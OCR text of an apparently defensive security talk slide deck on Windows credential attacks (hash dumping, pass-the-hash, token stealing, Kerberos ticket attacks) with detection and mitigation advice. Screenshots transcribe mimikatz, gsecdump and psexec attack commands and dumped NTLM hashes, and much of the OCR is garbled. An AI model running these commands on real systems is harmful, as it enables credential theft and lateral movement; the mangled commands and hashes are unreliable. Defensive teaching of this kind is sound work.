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ATTACK CYCLE

Dump
Moar
Credenqtials

Achieve
Domain
Admin

Move
Laterally

Gain
Foothold

Dump
Credentials

Pillage

APriority #1 post-exploitation
A Domain admin is ultimate goal

ANearly everything in Windows is tied to an account
A Difficult to move without one

AEasy and relatively stealthy means to traverse the network
A Account limitations are rare
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B Rob Fuller {x 2 Follow
@mubix

"Text file w/ creds in share, found where creds

are admin, dumped local admin, use to find DA,
dumped DA, dumped Domain”
#PentestReportTweet




Do You Know Your
Credentials?
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HASHES N —
RO
The password for each user accountin o AL
Windows is stored in multiple formats: A N
LM and NT hashes are most well known . - g7 -

e, Common Attacks @ Common Tools

Dumping : Mimikatz SMBshell
Cracking : Fgdump : pwDumpX
Pass the Hash Gsecdump§ Creddump

: Metasploit: WCE



HASH DUMPING (Gsecdump

C:sTemp

PzExec
Copyrig)
Sysinte;

Microso:
Copyrig)

CosWind:
nt auth:

CsWind.

. 1 - Motepad =] E3

File Edit Faormat View Help

Administrator{current):500:3ad3b435h51404eeaad3bd35h51404 e 7dS8F0dE560861d1055]13c7dbe o
Guesticurrent-disabled) 501 :aad3bd35h51404eraad3ibd35b51404ee:31d6cteldlGae931b73c809d7er
krbtgtCcurrent-disabled) 502 aad3b435h51404eeaadibd35b514 04 e FobcZenbdi837hb3al 8F8chofe’
svC-printandscan(current) 1104 :aad3b435h514 04 ecaadiba35h51404 ee: 8846F 7eaeedfhll7adoakhd—
ﬂfurqicurr2ﬂtj:11G5:aad3h435h514ﬂ4&eaad3b43Sbﬁldﬂdee:dehlEﬂbEEEde?E59h9ac32b3c44f6b:
mhill{current):1106:aad3b435b5%1404eraad3bd35h514 04 ee: 884 6T Feaee8Thll7ad0bhdd83 0b 7586

tdun?aﬂ{currentj:11D?:aadEdeSbSldeeeaadEthSbﬁldﬂdee:aEFcQaddFdSaESEG?dbcaEEEbEEGbaC

pcoulsonfcurrent) 1108 aad3bd 35051404 eeaadsbd 35051404 ee:8846f 7eaeeifhbll7adoobdd8300758E
nromanotf{current) 1109 3ad3b435b5%14 04 eeaad3ibd 35051404 e 507 3heecd?cB3324 abh7ddabeds3a0
syc-hitTocker{current) 1113 :aad3b435h5%1404deraadibd35b51404ee: 35846 Fraeel3Thll7ad0sbdds3
reydowcurrent) 1114 taad3b435b51404eeaadibd35b51404 0012200032 0ececi 24 7 d2oct37f7hans
sharepointCcurrent) 1503 aad3bhd35b514 0decaadibd35h51404ee: Shhcalatedleab3fE27caeh%3253,
malsteelelcurrent1:1508:3ad3h435b51404 eeaadibd35h5140d4ee:3d05T1l65das7e2ds832743a1h64 35,
nicsteelelcurrent ) 1509 3ad3b435b5%1404eeaadibhd35h514 04 e cece?0dB0a7E0eba826ThO74 83201
Thelyons(current) 1510 aad3b435h51404eeaadsb435b51404 e 260e2bh22867a0a3al 834327 ennlr
davdawsonCcurrent) 1511 :aad3b435h5140deeaadibd25h51404ea: 7264FR79964 34 C1003921a82730Ck
edwturner{current1:1512:aad3b435051404eeaad3bd35h51404 293007 c0cld03e55%2d982 74 8edqh2!
g1ebennett(currentj:1513:aad3h435b514ﬂ4&eaad3h43Sbﬁldﬂdee:299551169&deEdlaEdbEEFbﬁffd-_

‘| | M

C:sTemplgsecdump.exe —a » 1.txt
C:\Temp>_ Pgsecdump.exe —a 2> 1.txt




mimikatz 2.1 x86 (oce.eo

mimikatz # zekurlsza::zpth Auserisrl-helpdezk Adomain:WHES-WINEPIZ2BIT Antlm:4c3fSe?
fedcBfc2f?29d47chb25d?d1?23 Arun:z".“psexec.exe —accepteula s»1A.3.58.7 cmd.exe"
srl—helpdesk

WES-WINZP3I2BIT

wpzexXec.exe —acceptenla SS1H.3.58.Y cmd.exe

no
4c3f5ePfedcBfc2f79d47chh25d47d1923

program

impers.

NTLM
1

 PID 3548 5

: TID 3684 ok

¢ LUID 8 ; 726278 (BOBBB0EA:B8Ah1506 PsExec vZ.11 — Execute processes remotely
~_msvl B - data copy B BB2Z9FbA4 : OK ! BCopyright <C> 2001-2814 Mark Russinovich
“_ kerheros - data copy @ BBZFF870 Sysinternals — www.sysinternals.com

“~_ aes256_hmac —2» null

“_ aesl28_ hmac —» null

“_ rcd4_hmac_nt OK

“_ rcd_hmac_old OK Microsoft Windows XP [Wersion 5.1.26881
~_ rcd_md4 OK (C> Copyright 1985-2881 Microsoft Corp.
“_ rcd_hmac_nt_exp 0K

“_ rc4d_hmac_old_exp OK C: \WINDOWS s ysten32 >C: \WINDOWS\systen32 >hostname
“_ ®#Password replace —> null wks—winxp32bit

mimikatz #

~ PASS THE

HASH
(Mimikatz)

C:sWINDOWSssystem3d2>echo Xusername
SRL-Helpdesk

CiSUINDOUS S =tend2




TOKENS e >
Delegate tokens are powerful authentlcatlon WF(“ o
resources used for SSO. They allow attackers gt | L
7 a0 X 3.0 e JIOTX @ AX3Z£€"""

Common Attacks Common Tools

Token Stealing : Mimikatz
Privilege Escalation : Incognito
. Metasploit

. PowerShell




TOKEN STEALING
(Mimikatz)

o, mimikatz 2.1 ®64 (oe.eo)

mimikatz # privilege::debug
Privilege 20" 0K

mimikatz #| token: :twhoami

#* Process IToken : 397284 SHIELDBASE~tdungan S—-1-5-21-2036804247-31858
J24640-2116585241 1187 <15qg.25p3 Frimary

* Thread Token = no token

mimikatz H token:t:televate Adomainadmin
Token Id e

User name
SID name SHIELDBASE~Domain Admins

7892 3157548 SHIELDBASEsysydow 5—1-5-21-2836384247-3058324640-2
1165852411114 <1Yg.25p> Primary

—» Impersonated *

* Process Token = 3972848 SHIELDBASEstdungan 5—1-5-21-2836884247-34058
324640—2116585241-1187Y <15q.25p> Primary

#* Thread Token : 3276498 SHIELDBASE“r=sydow S—1-5-21-2836884247-3058
324640-2116585241 1114 <17g.25p> Impersonation ¢Delegation?

mimikatz H




The Method of

Privileged Account
Usage Matters




CREDENTIAL AVAILABILITY

Logon Credentials
Type on Target?

Console logon 2 *Except when Credential Guard is enabled
Runas 2 *Except when Credential Guard is enabled
Remote Desktop 10 *Exceptfor enabledRemote Credential Gua
Net Use 3 Including/u: parameter

Admin Action Notes

PowerShelRemoting 3 InvokeCommand; EntePSSession
PsExealternate creds 3 +2 -U <username>p <password)
PsExeav/o explicit creds 3

RemoteScheduled Task 4 Password saved as LSA Secret

Run as Service 5 (w/ user accountf PW sived as LSA Secret
Remote Registry 3

https://technet.microsoft.com/enus/windowsserverdocs/security/securingprivilegedaccess/securingrivilegedaccessreferencematerial




TICKETS

Kerberos issues tickets to authenticated users
that can be reused to access computers and
services. Tickets are cached In memory..

N |

Common Attacks o Common Tools

Pass the Ticket : Mimikatz
Over Pass the Hash A el=
Golden Ticket Kerberoast

X . PowerShell




[+ Administrat]c:] Administrator: Command Prompt
mimikatz # privilege::debug
': - ""'-.TEITI]_]}]":]. Priv ilEgE 28 0K

mimikatz # kerberos::ptt [B:274e981-2-80-4UeBdd80—rs ydowlkrbhtgt—SHIELDBASE.LOCAL.
kirhi

: '[8:224e?81-2-87a0 9000 —rs ydowlPkrbhtgt—SHIELDBAS, SNOCAL.kirhi’: 0K

c1 mimikat=z # exit
Bye?

Kec: Temp~klist

Tic
StJCurrent LogonId iz B:8x36cl174

Enc _
RerlCached Tickets: (1>

Seshyay Client: rsydow @ SHIELDBASE.LOCAL
server: Krbtgt s5HIELDHASE.LOGHL ¥ SHIELDBASE.LOCAL
HerhTicket Encryption Type: AES—-256-CTS-HMAC-SHA1-76
Ticket Flags Bx4BeBB8H8 - forwardable renewabhle initial pre_authent
Start Time: 11-26-2016 22:32:18 <{local>
End Time: 1127728016 8:32:183 <local>
Henew Time: 1232816 22:32:18 <local?
Cession Key Type: AES-256-CTS-HMAC-SHA1-76

PASS THE TICKET
(Mimikatz)




. KERBEROS ATTACKS

¢

v

Pass the
Ticket

Steal ticket from
memory and pass or
Import on other systems

Overpass
the Hash

Use NT hash to request
a service ticket for the
same account

,l

p
Ak
' i

)

Kerberoasting @‘ Silver Ticket

Request service ticket
for highly privileged
serviceandcrackhash

Golden
Ticket

Kerberos TGT for any
account with no
expiration. Survives full
password reset

All-access pass for a single
service or computer

‘Skeleton Key

Patch LSASS on domain
controller to add backdoor
password that works for
any domain account



Detection



computer
emergency
response
team

JtR - :U

for the EU institutions, bodies
and agencies

As any pasdhe-ticket attack, the attacker
replays the golden ticket in a standard

Kerberos protocol. Therefore, there is no clear

iIndication of such attack in Windows logs.




ld] Event Properties - Event 4769, Microsoft Windows security auditing.

General | Details

A Kerberos service ticket was requested.

Account Information: Ke r b e rO aStI n g
pccountDomain: emmmm—— uses RC4

Logon GUID:

Service Information: e n C ry ptl O n

Sevice D downgrade

Network Information:
Client Address:
Client Port:

Add'rtnonal Informatnon

Transited Servuces

This event is generated every time access is requested to a resource such as a computer or a
Windows service. The service name indicates the resource to which access was requested.




(

Golden Ticket events may have
one of these issues:
AThe Account Domain field

IS blank when it should

be DOMAIN

Blackhat AThe Account Domain field
_E IS DOMAIN FQDNwhen It
Pinckhat Jag should be DOMAIN. "

Sean Metcalf,adsecurity.org
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 SIMPLE DETECTS

~

~

Mapping
Admin$ Shares

PsExec

Scheduled
Tasks

VSSAdmin

RDP/VPN
Activity j’

Authentication Auditing

e




Mitigation



=

>
L.}
Privilege Escalation | Kerberos Attacks
V User Access Control V Managed Service
(UAC)* Accounts
Pass the Hash Backporting Win8.1 Mitigations

V User Access Control V KB2871997
(UAC)* ?




Credential Dumping

SSP password mitigations
Protected processes*

Remote Creds & Tickets

Domain Protected Users
Restricted Admin*
| SA Cache Cleanup

Windows"!

Pass the Hash
V Local Account Remote
Logon Restrictions

Token Theft
V Restricted Admin*
V Protected Users

Kerberos Attacks
V Group Managed Service
Accounts




am Windows10

x
Credential Dumping Remote Creds & Tickets
V' Credential Guard V Remote Credential

V Device Guard Guard




KERBEROS ATTACKS

Pass the Ticket Steal ticket from memorand pass or Credential Guard, Remote Credential

Overpass the
Hash

Kerberoasting

Golden Ticket

Silver Ticket

SkeletonKey

Import on other systems Guard

UseNT hash to request a service ticketCredential GuardProtected Users
for the same account Group; Disable RC4 authentication

Request service ticket for highly Long and complex service account
privileged service & crack NT hash  passwords; Managed Service Accounts

Kerberos TGT fany account with no  Protect domain admin accountShange
expiration. Survives full password res KRBTGT password regularly

All-access pass for a single service or Regulaicomputer and service account
computer password updates

Patch LSASf# domain controller to Protectdomain admin accounts; Smart
add backdoor password to any accoul card usage for privileged accounts




Pass the Tickel Steal ticket from memorgnd pass or Protect

Overpass the
Hash

Kerberoasting

Golden Ticket

Silver Ticket

SkeletonKey

KERBEROS ATTACKYSimplified)

Import on other systems icke's

UseNT hash to request a service ticke
for the same account Protect Hashes

Request service ticket for highly _
privileged service & crack NT hash rotect Service A ccts

Kerberos TGT fany account with no
expiration. Survives full password res Protect Joman Admn

All-access pass for a single service or
computer

Patch LSAS® domain controller to
add backdoor password to any accoui Protect oman Admin

Protect Hashes



R peotocol deflnes how clemts sses
_. nacation service, Cllents otz €
= RKey Distribution Center KOCL =
P Sese tickets to servers when conmes
Kerberos tickets represent & 8
~ =——=== Top Credential Mitigations: ~ — =
se=oreiical background on the ==
E geotocol in an authentication proc==_ B
: wformation that can add W0 & OENe
ez of ywhat I5 happening behang e =
groceys that yses the Kerberos Verson S8
s aAhentication Protocol Proviies &

E




PROTECT TICKETS@ PROTECT HASHES

Domain Protected
Users Group



PROTECT TICKETS@ PROTECT HASHES

Plan for Credential
Guard (Upgrade!)



v

PROTECT SERVICE ACCTS

Group Managed
Service Accounts



v

PROTECT DOMAIN ADMIN

Empty Domain
Admins Group
(Tiered Admin)



BUT WAI T, THERE™ S MORE!

Cached Credentials .

wt

DPAPI

vy
a

DC Sync




| chad.tilbury@crowdstrike.com

||‘ http://ForensicMgthods.com

= @chadtilbury
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